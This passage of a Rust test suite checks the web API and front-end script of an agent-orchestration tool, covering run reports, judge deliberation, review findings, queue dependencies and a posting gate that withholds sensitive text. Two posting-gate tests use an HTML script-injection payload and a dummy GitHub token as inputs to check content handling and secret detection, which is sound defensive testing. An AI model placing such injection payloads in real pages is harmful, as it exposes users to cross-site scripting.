19549            assert!(detail["superseded_by"].is_null());
19550            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19551            let history = task_detail["history"].as_array().unwrap();
19552            assert_eq!(history.len(), 2);
19553            assert!(history[0]["badge"].is_null());
19554            assert_eq!(history[1]["badge"], expected);
19555            q.status = ask::QuestionStatus::Answered;
19556            store.put(&mut q).unwrap();
19557        }
19558    }
19559
19560    #[tokio::test]
19561    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19562        let f = Fixture::start().await;
19563        let id = "20260922-090200-abcd";
19564        write_run(&f.runs(), id, RunStatus::Judging);
19565        let mut state = read_run(&f.runs(), id).unwrap();
19566        state.parked = true;
19567        state.driver_exited = true;
19568        state.event("park", "stopped at a node boundary");
19569        state.save_under(f.home.path()).unwrap();
19570
19571        for expected in ["parked", "stale"] {
19572            let list = f.get("/api/runs").await.json();
19573            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19574            assert_eq!(list[0]["live"], "dead");
19575            assert_eq!(list[0]["display_status"], expected);
19576            assert_eq!(detail["display_status"], expected);
19577            // Model a driver claim followed by a crash before the next event:
19578            // the persisted flag changes, but the last event is still park.
19579            state.parked = false;
19580            state.save_under(f.home.path()).unwrap();
19581        }
19582    }
19583
19584    #[tokio::test]
19585    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19586        let f = Fixture::start().await;
19587        for id in [
19588            "20260902-140501-aaaa",
19589            "20260902-140502-bbbb",
19590            "20260902-140503-cccc",
19591        ] {
19592            write_run(&f.runs(), id, RunStatus::Merged);
19593        }
19594
19595        let all = f.get("/api/runs").await.json();
19596        let capped = f.get("/api/runs?limit=2").await.json();
19597
19598        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19599        assert_eq!(all.as_array().map(Vec::len), Some(3));
19600        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19601        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19602    }
19603
19604    #[tokio::test]
19605    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19606        let f = Fixture::start().await;
19607        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19608
19609        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19610
19611        assert_eq!(res.status, 200);
19612        assert!(
19613            res.headers
19614                .contains("content-type: text/plain; charset=utf-8"),
19615            "a browser must render it, not download it: {}",
19616            res.headers
19617        );
19618        // The assertion is on content, not on the absence of escapes: colour
19619        // is a process-global that `serve` turns off at startup, and another
19620        // test in this binary may own it while this one runs.
19621        assert!(
19622            res.body.contains("20260902-140501-a1b2"),
19623            "the report is about the run that was asked for: {}",
19624            res.body
19625        );
19626    }
19627
19628    #[tokio::test]
19629    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19630        // The view names the run's state directory, which reads the process-global home.
19631        crate::run::pin_test_home();
19632        let f = Fixture::start().await;
19633        let id = "20260902-140501-a1b2";
19634        write_run(&f.runs(), id, RunStatus::Stalled);
19635        // A stalled panel and one review round, written through the real
19636        // state file so the route reads what a run really leaves behind.
19637        let path = f.runs().join(id).join("run.json");
19638        let mut v: serde_json::Value =
19639            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19640        v["tally"] = serde_json::json!({
19641            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19642            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19643            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19644            "met_quorum": false, "rankings": 1
19645        });
19646        v["reviews"] = serde_json::json!([{
19647            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19648            "e2e_deferred": true,
19649            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19650                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19651            ]}]
19652        }]);
19653        std::fs::write(&path, v.to_string()).unwrap();
19654        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19655        std::fs::write(
19656            f.runs().join("20260902-140502-dead").join("run.json"),
19657            "{not json",
19658        )
19659        .unwrap();
19660
19661        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19662
19663        assert_eq!(res.status, 200, "{}", res.body);
19664        assert!(res.headers.contains("content-type: application/json"));
19665        let j = res.json();
19666        assert_eq!(j["schema"], 1);
19667        assert_eq!(j["header"]["id"], id);
19668        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19669        let kinds: Vec<&str> = j["sections"]
19670            .as_array()
19671            .unwrap()
19672            .iter()
19673            .map(|s| s["kind"].as_str().unwrap())
19674            .collect();
19675        assert_eq!(kinds, ["candidates", "tally", "review"]);
19676        let tally = &j["sections"][1]["tally"];
19677        assert_eq!(
19678            (tally["decided"].clone(), tally["provisional"].clone()),
19679            (false.into(), true.into())
19680        );
19681        let round = &j["sections"][2]["rounds"][0];
19682        assert_eq!(round["e2e"]["state"], "deferred");
19683        assert_eq!(round["findings"][0]["severity"], "major");
19684        assert_eq!(round["findings"][0]["blocking"], true);
19685        assert_eq!(round["findings"][0]["state"], "open");
19686
19687        // The raw route keeps working beside it.
19688        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19689
19690        // An unreadable run is an error, as on the text route, and is counted.
19691        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19692        assert_ne!(bad.status, 200, "{}", bad.body);
19693        assert_eq!(
19694            bad.status,
19695            f.get("/api/runs/20260902-140502-dead/report").await.status
19696        );
19697        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19698        assert_eq!(
19699            f.get("/api/runs/20260902-999999-ffff/report.json")
19700                .await
19701                .status,
19702            404
19703        );
19704    }
19705
19706    #[tokio::test]
19707    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19708        crate::run::pin_test_home();
19709        let f = Fixture::start().await;
19710        let id = "20260902-140503-delib";
19711        write_run(&f.runs(), id, RunStatus::Merged);
19712        let path = f.runs().join(id).join("run.json");
19713        let mut v: serde_json::Value =
19714            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19715        v["judgements"] = serde_json::json!([
19716            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19717        ]);
19718        v["tally"] = serde_json::json!({
19719            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19720            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19721            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19722            "met_quorum": true, "rankings": 1
19723        });
19724        v["deliberation"] = serde_json::json!([
19725            {
19726                "round": 1,
19727                "turns": [
19728                    {
19729                        "judge": 1,
19730                        "agent": "judge-1",
19731                        "body": "I prefer candidate **A** because it has cleaner tests.",
19732                        "tentative": "A"
19733                    }
19734                ]
19735            },
19736            {
19737                "round": 2,
19738                "turns": [
19739                    {
19740                        "judge": 1,
19741                        "agent": "judge-1",
19742                        "body": "Still thinking, no choice yet.",
19743                        "tentative": null
19744                    }
19745                ]
19746            }
19747        ]);
19748        std::fs::write(&path, v.to_string()).unwrap();
19749
19750        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19751        assert_eq!(res.status, 200, "{}", res.body);
19752        let j = res.json();
19753        let judging = j["sections"]
19754            .as_array()
19755            .unwrap()
19756            .iter()
19757            .find(|s| s["kind"] == "judging")
19758            .expect("judging section exists");
19759
19760        // Existing summary lines remain intact
19761        let delib_lines = judging["deliberation"].as_array().unwrap();
19762        assert_eq!(delib_lines.len(), 2);
19763        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19764        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19765
19766        // rounds carry turn bodies, tentative and parsed body_md
19767        let rounds = judging["rounds"].as_array().unwrap();
19768        assert_eq!(rounds.len(), 2);
19769        let r1_t0 = &rounds[0]["turns"][0];
19770        assert_eq!(r1_t0["judge"], 1);
19771        assert_eq!(r1_t0["agent"], "judge-1");
19772        assert_eq!(r1_t0["tentative"], "A");
19773        assert_eq!(
19774            r1_t0["body"],
19775            "I prefer candidate **A** because it has cleaner tests."
19776        );
19777        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19778
19779        let r2_t0 = &rounds[1]["turns"][0];
19780        assert_eq!(r2_t0["judge"], 1);
19781        assert_eq!(r2_t0["agent"], "judge-1");
19782        assert!(r2_t0["tentative"].is_null());
19783        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19784        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19785
19786        // A run with empty deliberation array yields empty rounds
19787        let id_empty = "20260902-140504-nodelib";
19788        write_run(&f.runs(), id_empty, RunStatus::Merged);
19789        let path_empty = f.runs().join(id_empty).join("run.json");
19790        let mut v_empty: serde_json::Value =
19791            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19792        v_empty["judgements"] = serde_json::json!([
19793            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19794        ]);
19795        v_empty["deliberation"] = serde_json::json!([]);
19796        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19797
19798        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19799        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19800        let j_empty = res_empty.json();
19801        let judging_empty = j_empty["sections"]
19802            .as_array()
19803            .unwrap()
19804            .iter()
19805            .find(|s| s["kind"] == "judging")
19806            .expect("judging section exists");
19807        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19808    }
19809
19810    #[tokio::test]
19811    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19812        let f = Fixture::start().await;
19813
19814        let html = f.get("/").await;
19815        let css = f.get("/app.css").await;
19816        let js = f.get("/app.js").await;
19817
19818        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19819        assert!(
19820            html.headers
19821                .contains("content-type: text/html; charset=utf-8")
19822        );
19823        assert!(css.headers.contains("content-type: text/css"));
19824        assert!(js.headers.contains("content-type: text/javascript"));
19825        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19826    }
19827
19828    #[test]
19829    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19830        let body = |name: &str| {
19831            let at = APP_JS
19832                .find(name)
19833                .unwrap_or_else(|| panic!("{name} missing"));
19834            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19835        };
19836        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19837        let note = body("function landRoundNote");
19838        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19839        assert!(note.contains("Land round ${round}"));
19840        let land = body("function renderLand");
19841        let note_at = land
19842            .find("landRoundNote(pr)")
19843            .expect("renderLand uses the note");
19844        assert!(
19845            note_at
19846                < land
19847                    .find("roundRail(pr)")
19848                    .expect("renderLand uses the rail")
19849        );
19850    }
19851
19852    #[test]
19853    fn the_runs_page_redesign_keeps_its_guards() {
19854        let body = |name: &str| {
19855            let at = APP_JS
19856                .find(name)
19857                .unwrap_or_else(|| panic!("{name} missing"));
19858            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19859        };
19860        // A null child must never reach the native append (it prints "null").
19861        let land = body("function renderLand");
19862        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19863        assert!(
19864            !land.contains("box.append("),
19865            "renderLand must use append()"
19866        );
19867        assert!(land.contains("append(box, ["));
19868        // Tabs are hash routes; the run id alone decides a reload.
19869        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19870        assert!(
19871            body("function applyRoute")
19872                .contains("route.name !== state.route.name || route.id !== state.route.id")
19873        );
19874        // The decorative diagram is gone, the strip and its guards stay.
19875        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19876        assert!(!INDEX_HTML.contains("advise-converge"));
19877        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19878        assert!(APP_JS.contains("provisional"));
19879        for id in [
19880            "run-tab-overview",
19881            "run-tab-timeline",
19882            "run-tab-report",
19883            "run-report",
19884            "runs-scope",
19885        ] {
19886            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19887        }
19888        assert!(!INDEX_HTML.contains("runs-tree"));
19889        assert!(!INDEX_HTML.contains("run-raw-panel"));
19890        // Fold still says it cannot be resumed.
19891        assert!(APP_JS.contains("resume"));
19892        // The unreadable-runs count stays on the page.
19893        assert!(APP_JS.contains("unreadable"));
19894    }
19895
19896    #[test]
19897    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19898        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19899        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19900        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19901        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19902        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19903        // The subtitle still counts them whatever the banner does.
19904        assert!(APP_JS.contains("unreadable` : null"));
19905    }
19906
19907    #[test]
19908    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19909        let mut state = RunState::new(
19910            "/repo".into(),
19911            "main".into(),
19912            "abc".into(),
19913            "task".into(),
19914            crate::config::Config::default(),
19915        );
19916        state.status = RunStatus::Blocked;
19917        state.gate_ran = true;
19918        state.gate.push(crate::run::CommandOutcome {
19919            command: "cargo make check".into(),
19920            code: Some(1),
19921            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19922            duration_ms: 0,
19923            resource_blocked: false,
19924        });
19925        let view = RunDetailView::of(
19926            state,
19927            false,
19928            crate::run::Liveness::Unknown,
19929            None,
19930            None,
19931            None,
19932        );
19933        let value = serde_json::to_value(view).unwrap();
19934        assert_eq!(
19935            value["stop_reason"],
19936            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19937        );
19938    }
19939
19940    #[test]
19941    fn the_run_detail_payload_says_whether_the_run_is_done() {
19942        // `landView` reads `run.done`; the detail response must carry it.
19943        for (status, done) in [
19944            (RunStatus::Superseded, true),
19945            (RunStatus::Blocked, true),
19946            (RunStatus::Landing, false),
19947        ] {
19948            let mut state = RunState::new(
19949                std::path::PathBuf::from("/repo"),
19950                "main".to_owned(),
19951                "abc".to_owned(),
19952                "x".to_owned(),
19953                crate::config::Config::default(),
19954            );
19955            state.status = status;
19956            let v = serde_json::to_value(RunDetailView::of(
19957                state,
19958                false,
19959                crate::run::Liveness::Unknown,
19960                None,
19961                None,
19962                None,
19963            ))
19964            .unwrap();
19965            assert_eq!(v["done"], done, "{status:?}");
19966        }
19967    }
19968
19969    /// The first node of a markdown block holds a `strong` somewhere.
19970    fn has_strong(nodes: &[md::Node]) -> bool {
19971        serde_json::to_string(nodes).unwrap().contains("strong")
19972    }
19973
19974    #[test]
19975    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19976        let mut state = RunState::new(
19977            std::path::PathBuf::from("/repo"),
19978            "main".to_owned(),
19979            "abc".to_owned(),
19980            "x".to_owned(),
19981            crate::config::Config::default(),
19982        );
19983        let proposal = |approach: &str| {
19984            serde_json::json!({
19985                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19986            })
19987        };
19988        state.advice = Some(
19989            serde_json::from_value(serde_json::json!({
19990                "records": [
19991                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19992                     "proposal": proposal("do **this**")},
19993                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19994                ],
19995                "synthesis": "- one\n- **two**\n\n`code`",
19996            }))
19997            .unwrap(),
19998        );
19999        state.candidates = serde_json::from_value(serde_json::json!([
20000            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20001             "summary": "did **it**"},
20002            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20003        ]))
20004        .unwrap();
20005        // Recorded in ascending severity, the reverse of how the page sorts
20006        // them: the arrays must follow the record, not the display.
20007        state.reviews = serde_json::from_value(serde_json::json!([{
20008            "round": 1, "head": "h",
20009            "reviews": [{
20010                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20011                "findings": [
20012                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20013                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20014                ],
20015            }],
20016            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20017            "fix": {"agent": "a", "notes": "fixed **it**",
20018                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20019        }, {"round": 2, "head": "h2", "reviews": []}]))
20020        .unwrap();
20021
20022        let v = serde_json::to_value(RunDetailView::of(
20023            state,
20024            false,
20025            crate::run::Liveness::Unknown,
20026            None,
20027            None,
20028            None,
20029        ))
20030        .unwrap();
20031
20032        let strong = |p: &str| {
20033            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20034            assert!(n.to_string().contains("strong"), "{p}: {n}");
20035        };
20036        strong("/advice_md/synthesis");
20037        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20038        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20039        strong("/advice_md/approaches/0");
20040        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20041        strong("/candidate_summaries_md/0");
20042        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20043        strong("/reviews_md/0/reviewers/0/summary");
20044        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20045        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20046        assert!(f[1].to_string().contains("strong"));
20047        strong("/reviews_md/0/reconsideration/0");
20048        strong("/reviews_md/0/fix/notes");
20049        strong("/reviews_md/0/fix/rejected/0");
20050        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20051        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20052        // The raw strings stay, and no schema moved.
20053        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20054        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20055    }
20056
20057    #[test]
20058    fn a_run_without_advice_has_no_advice_md() {
20059        let state = RunState::new(
20060            std::path::PathBuf::from("/repo"),
20061            "main".to_owned(),
20062            "abc".to_owned(),
20063            "x".to_owned(),
20064            crate::config::Config::default(),
20065        );
20066        let p = run_prose_md(&state);
20067        assert!(p.advice_md.is_none());
20068        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20069    }
20070
20071    #[test]
20072    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20073        let store = ask::Questions::at(PathBuf::from("unused"));
20074        let gt = crate::github_text::Withheld {
20075            title: false,
20076            body: true,
20077            categories: vec!["sensitive-data".into()],
20078        };
20079        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20080        let (detail, comparison) =
20081            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20082        let mut q = Question::new(
20083            "r".into(),
20084            "github-text".into(),
20085            "posting-gate".into(),
20086            "s".into(),
20087            detail,
20088            Vec::new(),
20089        );
20090        assert!(
20091            QuestionView::of(q.clone(), &store, None)
20092                .posting_view
20093                .is_none()
20094        );
20095        q.posting_comparison = Some(comparison);
20096        let view = QuestionView::of(q.clone(), &store, None);
20097        let field = &view.posting_view.unwrap().fields[0];
20098        assert_eq!(
20099            field
20100                .original
20101                .iter()
20102                .map(|f| f.text.as_str())
20103                .collect::<String>(),
20104            body
20105        );
20106        assert!(field.original[0].text.starts_with("<img"));
20107        let original_question: Question =
20108            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20109        assert_eq!(original_question, q);
20110        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20111            .original
20112            .start = 1;
20113        assert!(
20114            QuestionView::of(q.clone(), &store, None)
20115                .posting_view
20116                .is_none()
20117        );
20118        q.posting_comparison = original_question.posting_comparison;
20119        q.detail.push_str("extra context");
20120        assert!(
20121            QuestionView::of(q.clone(), &store, None)
20122                .posting_view
20123                .is_some()
20124        );
20125        q.detail.insert(0, 'x');
20126        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20127    }
20128
20129    #[test]
20130    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20131        let store = ask::Questions::at(PathBuf::from("unused"));
20132        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20133        let gt = crate::github_text::Withheld::from_check(
20134            &crate::github_text::check("fix: x", body),
20135            "fix: x",
20136            body,
20137        )
20138        .unwrap();
20139        let (detail, comparison) =
20140            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20141        let mut q = Question::new(
20142            "r".into(),
20143            "github-text".into(),
20144            "posting-gate".into(),
20145            "s".into(),
20146            detail,
20147            Vec::new(),
20148        );
20149        q.posting_comparison = Some(comparison);
20150        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20151        let field = &value["posting_view"]["fields"][0];
20152        let group = &field["replacement_group"];
20153        let triggers = group["triggers"].as_array().unwrap();
20154        assert_eq!(triggers.len(), 2);
20155        assert_ne!(triggers[0], triggers[1]);
20156        for id in triggers {
20157            assert!(
20158                field["original"]
20159                    .as_array()
20160                    .unwrap()
20161                    .iter()
20162                    .any(|f| &f["pair"] == id)
20163            );
20164            assert!(
20165                !field["changed"]
20166                    .as_array()
20167                    .unwrap()
20168                    .iter()
20169                    .any(|f| &f["pair"] == id)
20170            );
20171        }
20172        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20173            group["id"].as_u64().unwrap() as usize;
20174        assert!(
20175            QuestionView::of(q, &store, None).posting_view.is_none(),
20176            "group and trigger IDs cannot collide"
20177        );
20178    }
20179
20180    #[test]
20181    fn a_question_view_carries_markdown_for_each_thread_turn() {
20182        let home = TempDir::new().unwrap();
20183        let store = ask::Questions::at(home.path().join("questions"));
20184        let mut q = Question::new(
20185            "run".to_owned(),
20186            "implement".to_owned(),
20187            "impl-A".to_owned(),
20188            "which?".to_owned(),
20189            String::new(),
20190            Vec::new(),
20191        );
20192        q.say("plain words").unwrap();
20193        q.reply("use **this**", Vec::new()).unwrap();
20194        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20195        let bodies = &v["thread_bodies_md"];
20196        assert_eq!(bodies.as_array().unwrap().len(), 2);
20197        assert!(!bodies[0].to_string().contains("strong"));
20198        assert!(bodies[1].to_string().contains("strong"));
20199    }
20200
20201    #[test]
20202    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20203        let home = TempDir::new().unwrap();
20204        let store = ask::Questions::at(home.path().join("questions"));
20205        let mut q = Question::new(
20206            "run".to_owned(),
20207            "conduct".to_owned(),
20208            "conduct".to_owned(),
20209            "which?".to_owned(),
20210            String::new(),
20211            Vec::new(),
20212        );
20213        q.say("plain words").unwrap();
20214        q.thread.push(ask::Turn {
20215            who: ask::Who::Agent,
20216            body: "Settled as `merge`".to_owned(),
20217            at: jiff::Timestamp::now(),
20218            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20219        });
20220        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20221        let notes = &v["thread_notes_md"];
20222        assert_eq!(notes.as_array().unwrap().len(), 2);
20223        assert!(notes[0].is_null());
20224        let text = notes[1].to_string();
20225        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20226        assert!(APP_JS.contains("ask-turn-note"));
20227    }
20228
20229    #[test]
20230    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20231        // The land panel defers to `run.status` for merged, and labels a
20232        // recorded-open PR on any finished run (superseded, blocked, ...) as
20233        // last seen, never as live state.
20234        assert!(APP_JS.contains("function landView(run, raw) {"));
20235        assert!(
20236            APP_JS.contains(
20237                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20238            )
20239        );
20240        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20241        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20242        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20243        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20244    }
20245
20246    #[test]
20247    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20248        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20249        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20250        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20251        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20252    }
20253
20254    #[test]
20255    fn review_rounds_label_a_distinct_verified_head() {
20256        assert!(APP_JS.contains("round.verified_head"));
20257        assert!(APP_JS.contains("verified HEAD"));
20258        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20259    }
20260
20261    #[test]
20262    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20263        // A blocked task's chip and note must not fall back to a queued-like
20264        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20265        // itself by e11fc58 but never checked here.
20266        assert!(APP_JS.contains("blocked: { glyph:"));
20267        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20268
20269        // `blocked_by` mixes task ids and question ids in the same list, and
20270        // the client can only tell them apart by checking each id against
20271        // what it actually knows - never by guessing from the id's shape.
20272        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20273        assert!(
20274            APP_JS.contains(
20275                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20276            ),
20277            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20278        );
20279        // The classification must key off `status_str`, never off `blocked_by`
20280        // or `block_reason` merely being present - both can survive briefly
20281        // on a task a hold or a dead daemon just moved off `blocked`.
20282        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20283
20284        // A question a task is blocked on gets its own node in the same
20285        // dependency graph, not just a task-shaped node with nothing known
20286        // about it.
20287        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20288        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20289        assert!(
20290            APP_JS.contains("location.hash = \"#/questions\";"),
20291            "a question node must jump to the Questions screen, not pretend to be a task"
20292        );
20293
20294        // `Task::answers` - decisions already made - are shown as a record on
20295        // the card, the same disclosure style as the full instruction.
20296        assert!(APP_JS.contains("Resolved questions"));
20297        assert!(APP_JS.contains("r.answersList.append("));
20298        assert!(APP_CSS.contains(".task-answers"));
20299        {
20300            let start = APP_JS
20301                .find("function updateTalkTaskRow")
20302                .expect("updateTalkTaskRow");
20303            let body = &APP_JS[start..];
20304            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20305            assert!(
20306                body.contains(
20307                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20308                ),
20309                "a chat-filed task row must link to the task page"
20310            );
20311            assert!(
20312                !body.contains("#/runs/") && !body.contains("#/queue/"),
20313                "the row must not branch to a run or the queue card"
20314            );
20315            assert!(APP_CSS.contains(".talk-task-link"));
20316        }
20317    }
20318
20319    #[test]
20320    fn a_task_notification_links_to_the_task_page() {
20321        // A task notice opens the task detail page, not the Backlog card.
20322        let start = APP_JS
20323            .find("function noticeLink(")
20324            .expect("noticeLink exists");
20325        let body = &APP_JS[start..];
20326        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20327        assert!(
20328            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20329            "a task notice's link must target the task page"
20330        );
20331        assert!(
20332            !body.contains("#/queue/"),
20333            "regression: the task link must not go back to the Backlog route"
20334        );
20335        assert!(
20336            APP_JS.contains(
20337                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20338            ),
20339            "`#/tasks/<id>` must parse into the task route"
20340        );
20341
20342        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20343        assert!(
20344            APP_JS.contains(
20345                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20346            ),
20347            "`#/queue/<id>` must parse into a route carrying that id"
20348        );
20349
20350        // And the Backlog view has to actually land on the card once it can
20351        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20352        // so a focus set before the queue has loaded is retried once it has.
20353        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20354        assert!(APP_JS.contains("function consumeQueueFocus()"));
20355        assert!(APP_JS.contains("jumpToTask(id)"));
20356    }
20357
20358    #[test]
20359    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20360        let start = APP_JS
20361            .find("function noticeCoveredBy(")
20362            .expect("noticeCoveredBy exists");
20363        let body = &APP_JS[start..];
20364        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20365
20366        // Historical associations are informational, even for open questions.
20367        assert!(body.contains("Associated question ${short}"));
20368        assert!(!body.contains("el(\"a\""));
20369
20370        // A resolved question displays status rather than an actionable link
20371        assert!(body.contains("(resolved)"));
20372        assert!(body.contains("(closed)"));
20373
20374        let start = APP_JS
20375            .find("function renderNotifications()")
20376            .expect("renderNotifications exists");
20377        let body = &APP_JS[start..];
20378        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20379
20380        // Only a server-resolved answerable question supplies a response link.
20381        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20382        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
